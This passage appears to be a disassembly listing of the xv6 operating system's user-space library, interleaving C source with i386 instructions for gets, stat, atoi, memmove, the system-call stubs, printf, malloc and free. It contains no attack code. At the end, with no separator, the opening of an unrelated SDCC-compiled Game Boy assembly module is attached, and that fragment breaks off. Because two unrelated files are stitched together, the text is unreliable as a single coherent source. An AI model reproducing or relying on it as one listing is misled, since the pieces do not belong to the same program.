56 push %esi 145: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 146: 31 f6 xor %esi,%esi 148: 89 f3 mov %esi,%ebx { 14a: 83 ec 1c sub $0x1c,%esp 14d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 150: eb 2f jmp 181 <gets+0x41> 152: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 158: 8d 45 e7 lea -0x19(%ebp),%eax 15b: 83 ec 04 sub $0x4,%esp 15e: 6a 01 push $0x1 160: 50 push %eax 161: 6a 00 push $0x0 163: e8 32 01 00 00 call 29a <read> if(cc < 1) 168: 83 c4 10 add $0x10,%esp 16b: 85 c0 test %eax,%eax 16d: 7e 1c jle 18b <gets+0x4b> break; buf[i++] = c; 16f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 173: 83 c7 01 add $0x1,%edi 176: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 179: 3c 0a cmp $0xa,%al 17b: 74 23 je 1a0 <gets+0x60> 17d: 3c 0d cmp $0xd,%al 17f: 74 1f je 1a0 <gets+0x60> for(i=0; i+1 < max; ){ 181: 83 c3 01 add $0x1,%ebx 184: 3b 5d 0c cmp 0xc(%ebp),%ebx 187: 89 fe mov %edi,%esi 189: 7c cd jl 158 <gets+0x18> 18b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 18d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 190: c6 03 00 movb $0x0,(%ebx) } 193: 8d 65 f4 lea -0xc(%ebp),%esp 196: 5b pop %ebx 197: 5e pop %esi 198: 5f pop %edi 199: 5d pop %ebp 19a: c3 ret 19b: 90 nop 19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1a0: 8b 75 08 mov 0x8(%ebp),%esi 1a3: 8b 45 08 mov 0x8(%ebp),%eax 1a6: 01 de add %ebx,%esi 1a8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 1aa: c6 03 00 movb $0x0,(%ebx) } 1ad: 8d 65 f4 lea -0xc(%ebp),%esp 1b0: 5b pop %ebx 1b1: 5e pop %esi 1b2: 5f pop %edi 1b3: 5d pop %ebp 1b4: c3 ret 1b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001c0 <stat>: int stat(const char *n, struct stat *st) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 56 push %esi 1c4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1c5: 83 ec 08 sub $0x8,%esp 1c8: 6a 00 push $0x0 1ca: ff 75 08 pushl 0x8(%ebp) 1cd: e8 f0 00 00 00 call 2c2 <open> if(fd < 0) 1d2: 83 c4 10 add $0x10,%esp 1d5: 85 c0 test %eax,%eax 1d7: 78 27 js 200 <stat+0x40> return -1; r = fstat(fd, st); 1d9: 83 ec 08 sub $0x8,%esp 1dc: ff 75 0c pushl 0xc(%ebp) 1df: 89 c3 mov %eax,%ebx 1e1: 50 push %eax 1e2: e8 f3 00 00 00 call 2da <fstat> close(fd); 1e7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 1ea: 89 c6 mov %eax,%esi close(fd); 1ec: e8 b9 00 00 00 call 2aa <close> return r; 1f1: 83 c4 10 add $0x10,%esp } 1f4: 8d 65 f8 lea -0x8(%ebp),%esp 1f7: 89 f0 mov %esi,%eax 1f9: 5b pop %ebx 1fa: 5e pop %esi 1fb: 5d pop %ebp 1fc: c3 ret 1fd: 8d 76 00 lea 0x0(%esi),%esi return -1; 200: be ff ff ff ff mov $0xffffffff,%esi 205: eb ed jmp 1f4 <stat+0x34> 207: 89 f6 mov %esi,%esi 209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000210 <atoi>: int atoi(const char *s) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 53 push %ebx 214: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 217: 0f be 11 movsbl (%ecx),%edx 21a: 8d 42 d0 lea -0x30(%edx),%eax 21d: 3c 09 cmp $0x9,%al n = 0; 21f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 224: 77 1f ja 245 <atoi+0x35> 226: 8d 76 00 lea 0x0(%esi),%esi 229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 230: 8d 04 80 lea (%eax,%eax,4),%eax 233: 83 c1 01 add $0x1,%ecx 236: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 23a: 0f be 11 movsbl (%ecx),%edx 23d: 8d 5a d0 lea -0x30(%edx),%ebx 240: 80 fb 09 cmp $0x9,%bl 243: 76 eb jbe 230 <atoi+0x20> return n; } 245: 5b pop %ebx 246: 5d pop %ebp 247: c3 ret 248: 90 nop 249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000250 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 56 push %esi 254: 53 push %ebx 255: 8b 5d 10 mov 0x10(%ebp),%ebx 258: 8b 45 08 mov 0x8(%ebp),%eax 25b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 25e: 85 db test %ebx,%ebx 260: 7e 14 jle 276 <memmove+0x26> 262: 31 d2 xor %edx,%edx 264: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 268: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 26c: 88 0c 10 mov %cl,(%eax,%edx,1) 26f: 83 c2 01 add $0x1,%edx while(n-- > 0) 272: 39 d3 cmp %edx,%ebx 274: 75 f2 jne 268 <memmove+0x18> return vdst; } 276: 5b pop %ebx 277: 5e pop %esi 278: 5d pop %ebp 279: c3 ret 0000027a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 27a: b8 01 00 00 00 mov $0x1,%eax 27f: cd 40 int $0x40 281: c3 ret 00000282 <exit>: SYSCALL(exit) 282: b8 02 00 00 00 mov $0x2,%eax 287: cd 40 int $0x40 289: c3 ret 0000028a <wait>: SYSCALL(wait) 28a: b8 03 00 00 00 mov $0x3,%eax 28f: cd 40 int $0x40 291: c3 ret 00000292 <pipe>: SYSCALL(pipe) 292: b8 04 00 00 00 mov $0x4,%eax 297: cd 40 int $0x40 299: c3 ret 0000029a <read>: SYSCALL(read) 29a: b8 05 00 00 00 mov $0x5,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <write>: SYSCALL(write) 2a2: b8 10 00 00 00 mov $0x10,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <close>: SYSCALL(close) 2aa: b8 15 00 00 00 mov $0x15,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <kill>: SYSCALL(kill) 2b2: b8 06 00 00 00 mov $0x6,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <exec>: SYSCALL(exec) 2ba: b8 07 00 00 00 mov $0x7,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <open>: SYSCALL(open) 2c2: b8 0f 00 00 00 mov $0xf,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <mknod>: SYSCALL(mknod) 2ca: b8 11 00 00 00 mov $0x11,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <unlink>: SYSCALL(unlink) 2d2: b8 12 00 00 00 mov $0x12,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <fstat>: SYSCALL(fstat) 2da: b8 08 00 00 00 mov $0x8,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <link>: SYSCALL(link) 2e2: b8 13 00 00 00 mov $0x13,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mkdir>: SYSCALL(mkdir) 2ea: b8 14 00 00 00 mov $0x14,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <chdir>: SYSCALL(chdir) 2f2: b8 09 00 00 00 mov $0x9,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <dup>: SYSCALL(dup) 2fa: b8 0a 00 00 00 mov $0xa,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <getpid>: SYSCALL(getpid) 302: b8 0b 00 00 00 mov $0xb,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <sbrk>: SYSCALL(sbrk) 30a: b8 0c 00 00 00 mov $0xc,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <sleep>: SYSCALL(sleep) 312: b8 0d 00 00 00 mov $0xd,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <uptime>: SYSCALL(uptime) 31a: b8 0e 00 00 00 mov $0xe,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <waitx>: SYSCALL(waitx) 322: b8 16 00 00 00 mov $0x16,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <set_priority>: 32a: b8 17 00 00 00 mov $0x17,%eax 32f: cd 40 int $0x40 331: c3 ret 332: 66 90 xchg %ax,%ax 334: 66 90 xchg %ax,%ax 336: 66 90 xchg %ax,%ax 338: 66 90 xchg %ax,%ax 33a: 66 90 xchg %ax,%ax 33c: 66 90 xchg %ax,%ax 33e: 66 90 xchg %ax,%ax 00000340 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 340: 55 push %ebp 341: 89 e5 mov %esp,%ebp 343: 57 push %edi 344: 56 push %esi 345: 53 push %ebx 346: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 349: 85 d2 test %edx,%edx { 34b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 34e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 350: 79 76 jns 3c8 <printint+0x88> 352: f6 45 08 01 testb $0x1,0x8(%ebp) 356: 74 70 je 3c8 <printint+0x88> x = -xx; 358: f7 d8 neg %eax neg = 1; 35a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 361: 31 f6 xor %esi,%esi 363: 8d 5d d7 lea -0x29(%ebp),%ebx 366: eb 0a jmp 372 <printint+0x32> 368: 90 nop 369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 370: 89 fe mov %edi,%esi 372: 31 d2 xor %edx,%edx 374: 8d 7e 01 lea 0x1(%esi),%edi 377: f7 f1 div %ecx 379: 0f b6 92 48 07 00 00 movzbl 0x748(%edx),%edx }while((x /= base) != 0); 380: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 382: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 385: 75 e9 jne 370 <printint+0x30> if(neg) 387: 8b 45 c4 mov -0x3c(%ebp),%eax 38a: 85 c0 test %eax,%eax 38c: 74 08 je 396 <printint+0x56> buf[i++] = '-'; 38e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 393: 8d 7e 02 lea 0x2(%esi),%edi 396: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 39a: 8b 7d c0 mov -0x40(%ebp),%edi 39d: 8d 76 00 lea 0x0(%esi),%esi 3a0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 3a3: 83 ec 04 sub $0x4,%esp 3a6: 83 ee 01 sub $0x1,%esi 3a9: 6a 01 push $0x1 3ab: 53 push %ebx 3ac: 57 push %edi 3ad: 88 45 d7 mov %al,-0x29(%ebp) 3b0: e8 ed fe ff ff call 2a2 <write> while(--i >= 0) 3b5: 83 c4 10 add $0x10,%esp 3b8: 39 de cmp %ebx,%esi 3ba: 75 e4 jne 3a0 <printint+0x60> putc(fd, buf[i]); } 3bc: 8d 65 f4 lea -0xc(%ebp),%esp 3bf: 5b pop %ebx 3c0: 5e pop %esi 3c1: 5f pop %edi 3c2: 5d pop %ebp 3c3: c3 ret 3c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 3c8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3cf: eb 90 jmp 361 <printint+0x21> 3d1: eb 0d jmp 3e0 <printf> 3d3: 90 nop 3d4: 90 nop 3d5: 90 nop 3d6: 90 nop 3d7: 90 nop 3d8: 90 nop 3d9: 90 nop 3da: 90 nop 3db: 90 nop 3dc: 90 nop 3dd: 90 nop 3de: 90 nop 3df: 90 nop 000003e0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 57 push %edi 3e4: 56 push %esi 3e5: 53 push %ebx 3e6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3e9: 8b 75 0c mov 0xc(%ebp),%esi 3ec: 0f b6 1e movzbl (%esi),%ebx 3ef: 84 db test %bl,%bl 3f1: 0f 84 b3 00 00 00 je 4aa <printf+0xca> ap = (uint*)(void*)&fmt + 1; 3f7: 8d 45 10 lea 0x10(%ebp),%eax 3fa: 83 c6 01 add $0x1,%esi state = 0; 3fd: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 3ff: 89 45 d4 mov %eax,-0x2c(%ebp) 402: eb 2f jmp 433 <printf+0x53> 404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 408: 83 f8 25 cmp $0x25,%eax 40b: 0f 84 a7 00 00 00 je 4b8 <printf+0xd8> write(fd, &c, 1); 411: 8d 45 e2 lea -0x1e(%ebp),%eax 414: 83 ec 04 sub $0x4,%esp 417: 88 5d e2 mov %bl,-0x1e(%ebp) 41a: 6a 01 push $0x1 41c: 50 push %eax 41d: ff 75 08 pushl 0x8(%ebp) 420: e8 7d fe ff ff call 2a2 <write> 425: 83 c4 10 add $0x10,%esp 428: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 42b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 42f: 84 db test %bl,%bl 431: 74 77 je 4aa <printf+0xca> if(state == 0){ 433: 85 ff test %edi,%edi c = fmt[i] & 0xff; 435: 0f be cb movsbl %bl,%ecx 438: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 43b: 74 cb je 408 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 43d: 83 ff 25 cmp $0x25,%edi 440: 75 e6 jne 428 <printf+0x48> if(c == 'd'){ 442: 83 f8 64 cmp $0x64,%eax 445: 0f 84 05 01 00 00 je 550 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 44b: 81 e1 f7 00 00 00 and $0xf7,%ecx 451: 83 f9 70 cmp $0x70,%ecx 454: 74 72 je 4c8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 456: 83 f8 73 cmp $0x73,%eax 459: 0f 84 99 00 00 00 je 4f8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 45f: 83 f8 63 cmp $0x63,%eax 462: 0f 84 08 01 00 00 je 570 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 468: 83 f8 25 cmp $0x25,%eax 46b: 0f 84 ef 00 00 00 je 560 <printf+0x180> write(fd, &c, 1); 471: 8d 45 e7 lea -0x19(%ebp),%eax 474: 83 ec 04 sub $0x4,%esp 477: c6 45 e7 25 movb $0x25,-0x19(%ebp) 47b: 6a 01 push $0x1 47d: 50 push %eax 47e: ff 75 08 pushl 0x8(%ebp) 481: e8 1c fe ff ff call 2a2 <write> 486: 83 c4 0c add $0xc,%esp 489: 8d 45 e6 lea -0x1a(%ebp),%eax 48c: 88 5d e6 mov %bl,-0x1a(%ebp) 48f: 6a 01 push $0x1 491: 50 push %eax 492: ff 75 08 pushl 0x8(%ebp) 495: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 498: 31 ff xor %edi,%edi write(fd, &c, 1); 49a: e8 03 fe ff ff call 2a2 <write> for(i = 0; fmt[i]; i++){ 49f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 4a3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 4a6: 84 db test %bl,%bl 4a8: 75 89 jne 433 <printf+0x53> } } } 4aa: 8d 65 f4 lea -0xc(%ebp),%esp 4ad: 5b pop %ebx 4ae: 5e pop %esi 4af: 5f pop %edi 4b0: 5d pop %ebp 4b1: c3 ret 4b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 4b8: bf 25 00 00 00 mov $0x25,%edi 4bd: e9 66 ff ff ff jmp 428 <printf+0x48> 4c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 4c8: 83 ec 0c sub $0xc,%esp 4cb: b9 10 00 00 00 mov $0x10,%ecx 4d0: 6a 00 push $0x0 4d2: 8b 7d d4 mov -0x2c(%ebp),%edi 4d5: 8b 45 08 mov 0x8(%ebp),%eax 4d8: 8b 17 mov (%edi),%edx 4da: e8 61 fe ff ff call 340 <printint> ap++; 4df: 89 f8 mov %edi,%eax 4e1: 83 c4 10 add $0x10,%esp state = 0; 4e4: 31 ff xor %edi,%edi ap++; 4e6: 83 c0 04 add $0x4,%eax 4e9: 89 45 d4 mov %eax,-0x2c(%ebp) 4ec: e9 37 ff ff ff jmp 428 <printf+0x48> 4f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 4f8: 8b 45 d4 mov -0x2c(%ebp),%eax 4fb: 8b 08 mov (%eax),%ecx ap++; 4fd: 83 c0 04 add $0x4,%eax 500: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 503: 85 c9 test %ecx,%ecx 505: 0f 84 8e 00 00 00 je 599 <printf+0x1b9> while(*s != 0){ 50b: 0f b6 01 movzbl (%ecx),%eax state = 0; 50e: 31 ff xor %edi,%edi s = (char*)*ap; 510: 89 cb mov %ecx,%ebx while(*s != 0){ 512: 84 c0 test %al,%al 514: 0f 84 0e ff ff ff je 428 <printf+0x48> 51a: 89 75 d0 mov %esi,-0x30(%ebp) 51d: 89 de mov %ebx,%esi 51f: 8b 5d 08 mov 0x8(%ebp),%ebx 522: 8d 7d e3 lea -0x1d(%ebp),%edi 525: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 528: 83 ec 04 sub $0x4,%esp s++; 52b: 83 c6 01 add $0x1,%esi 52e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 531: 6a 01 push $0x1 533: 57 push %edi 534: 53 push %ebx 535: e8 68 fd ff ff call 2a2 <write> while(*s != 0){ 53a: 0f b6 06 movzbl (%esi),%eax 53d: 83 c4 10 add $0x10,%esp 540: 84 c0 test %al,%al 542: 75 e4 jne 528 <printf+0x148> 544: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 547: 31 ff xor %edi,%edi 549: e9 da fe ff ff jmp 428 <printf+0x48> 54e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 550: 83 ec 0c sub $0xc,%esp 553: b9 0a 00 00 00 mov $0xa,%ecx 558: 6a 01 push $0x1 55a: e9 73 ff ff ff jmp 4d2 <printf+0xf2> 55f: 90 nop write(fd, &c, 1); 560: 83 ec 04 sub $0x4,%esp 563: 88 5d e5 mov %bl,-0x1b(%ebp) 566: 8d 45 e5 lea -0x1b(%ebp),%eax 569: 6a 01 push $0x1 56b: e9 21 ff ff ff jmp 491 <printf+0xb1> putc(fd, *ap); 570: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 573: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 576: 8b 07 mov (%edi),%eax write(fd, &c, 1); 578: 6a 01 push $0x1 ap++; 57a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 57d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 580: 8d 45 e4 lea -0x1c(%ebp),%eax 583: 50 push %eax 584: ff 75 08 pushl 0x8(%ebp) 587: e8 16 fd ff ff call 2a2 <write> ap++; 58c: 89 7d d4 mov %edi,-0x2c(%ebp) 58f: 83 c4 10 add $0x10,%esp state = 0; 592: 31 ff xor %edi,%edi 594: e9 8f fe ff ff jmp 428 <printf+0x48> s = "(null)"; 599: bb 3f 07 00 00 mov $0x73f,%ebx while(*s != 0){ 59e: b8 28 00 00 00 mov $0x28,%eax 5a3: e9 72 ff ff ff jmp 51a <printf+0x13a> 5a8: 66 90 xchg %ax,%ax 5aa: 66 90 xchg %ax,%ax 5ac: 66 90 xchg %ax,%ax 5ae: 66 90 xchg %ax,%ax 000005b0 <free>: static Header base; static Header *freep; void free(void *ap) { 5b0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5b1: a1 ec 09 00 00 mov 0x9ec,%eax { 5b6: 89 e5 mov %esp,%ebp 5b8: 57 push %edi 5b9: 56 push %esi 5ba: 53 push %ebx 5bb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 5be: 8d 4b f8 lea -0x8(%ebx),%ecx 5c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c8: 39 c8 cmp %ecx,%eax 5ca: 8b 10 mov (%eax),%edx 5cc: 73 32 jae 600 <free+0x50> 5ce: 39 d1 cmp %edx,%ecx 5d0: 72 04 jb 5d6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5d2: 39 d0 cmp %edx,%eax 5d4: 72 32 jb 608 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 5d6: 8b 73 fc mov -0x4(%ebx),%esi 5d9: 8d 3c f1 lea (%ecx,%esi,8),%edi 5dc: 39 fa cmp %edi,%edx 5de: 74 30 je 610 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5e0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5e3: 8b 50 04 mov 0x4(%eax),%edx 5e6: 8d 34 d0 lea (%eax,%edx,8),%esi 5e9: 39 f1 cmp %esi,%ecx 5eb: 74 3a je 627 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 5ed: 89 08 mov %ecx,(%eax) freep = p; 5ef: a3 ec 09 00 00 mov %eax,0x9ec } 5f4: 5b pop %ebx 5f5: 5e pop %esi 5f6: 5f pop %edi 5f7: 5d pop %ebp 5f8: c3 ret 5f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 600: 39 d0 cmp %edx,%eax 602: 72 04 jb 608 <free+0x58> 604: 39 d1 cmp %edx,%ecx 606: 72 ce jb 5d6 <free+0x26> { 608: 89 d0 mov %edx,%eax 60a: eb bc jmp 5c8 <free+0x18> 60c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 610: 03 72 04 add 0x4(%edx),%esi 613: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 616: 8b 10 mov (%eax),%edx 618: 8b 12 mov (%edx),%edx 61a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 61d: 8b 50 04 mov 0x4(%eax),%edx 620: 8d 34 d0 lea (%eax,%edx,8),%esi 623: 39 f1 cmp %esi,%ecx 625: 75 c6 jne 5ed <free+0x3d> p->s.size += bp->s.size; 627: 03 53 fc add -0x4(%ebx),%edx freep = p; 62a: a3 ec 09 00 00 mov %eax,0x9ec p->s.size += bp->s.size; 62f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 632: 8b 53 f8 mov -0x8(%ebx),%edx 635: 89 10 mov %edx,(%eax) } 637: 5b pop %ebx 638: 5e pop %esi 639: 5f pop %edi 63a: 5d pop %ebp 63b: c3 ret 63c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000640 <malloc>: return freep; } void* malloc(uint nbytes) { 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 649: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 64c: 8b 15 ec 09 00 00 mov 0x9ec,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 652: 8d 78 07 lea 0x7(%eax),%edi 655: c1 ef 03 shr $0x3,%edi 658: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 65b: 85 d2 test %edx,%edx 65d: 0f 84 9d 00 00 00 je 700 <malloc+0xc0> 663: 8b 02 mov (%edx),%eax 665: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 668: 39 cf cmp %ecx,%edi 66a: 76 6c jbe 6d8 <malloc+0x98> 66c: 81 ff 00 10 00 00 cmp $0x1000,%edi 672: bb 00 10 00 00 mov $0x1000,%ebx 677: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 67a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 681: eb 0e jmp 691 <malloc+0x51> 683: 90 nop 684: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 688: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 68a: 8b 48 04 mov 0x4(%eax),%ecx 68d: 39 f9 cmp %edi,%ecx 68f: 73 47 jae 6d8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 691: 39 05 ec 09 00 00 cmp %eax,0x9ec 697: 89 c2 mov %eax,%edx 699: 75 ed jne 688 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 69b: 83 ec 0c sub $0xc,%esp 69e: 56 push %esi 69f: e8 66 fc ff ff call 30a <sbrk> if(p == (char*)-1) 6a4: 83 c4 10 add $0x10,%esp 6a7: 83 f8 ff cmp $0xffffffff,%eax 6aa: 74 1c je 6c8 <malloc+0x88> hp->s.size = nu; 6ac: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 6af: 83 ec 0c sub $0xc,%esp 6b2: 83 c0 08 add $0x8,%eax 6b5: 50 push %eax 6b6: e8 f5 fe ff ff call 5b0 <free> return freep; 6bb: 8b 15 ec 09 00 00 mov 0x9ec,%edx if((p = morecore(nunits)) == 0) 6c1: 83 c4 10 add $0x10,%esp 6c4: 85 d2 test %edx,%edx 6c6: 75 c0 jne 688 <malloc+0x48> return 0; } } 6c8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 6cb: 31 c0 xor %eax,%eax } 6cd: 5b pop %ebx 6ce: 5e pop %esi 6cf: 5f pop %edi 6d0: 5d pop %ebp 6d1: c3 ret 6d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 6d8: 39 cf cmp %ecx,%edi 6da: 74 54 je 730 <malloc+0xf0> p->s.size -= nunits; 6dc: 29 f9 sub %edi,%ecx 6de: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6e1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6e4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 6e7: 89 15 ec 09 00 00 mov %edx,0x9ec } 6ed: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 6f0: 83 c0 08 add $0x8,%eax } 6f3: 5b pop %ebx 6f4: 5e pop %esi 6f5: 5f pop %edi 6f6: 5d pop %ebp 6f7: c3 ret 6f8: 90 nop 6f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 700: c7 05 ec 09 00 00 f0 movl $0x9f0,0x9ec 707: 09 00 00 70a: c7 05 f0 09 00 00 f0 movl $0x9f0,0x9f0 711: 09 00 00 base.s.size = 0; 714: b8 f0 09 00 00 mov $0x9f0,%eax 719: c7 05 f4 09 00 00 00 movl $0x0,0x9f4 720: 00 00 00 723: e9 44 ff ff ff jmp 66c <malloc+0x2c> 728: 90 nop 729: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 730: 8b 08 mov (%eax),%ecx 732: 89 0a mov %ecx,(%edx) 734: eb b1 jmp 6e7 <malloc+0xa7>
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.4 #12246 (Mac OS X x86_64) ;-------------------------------------------------------- .module scene_3 .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _scene_3 .globl ___bank_scene_3 ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA 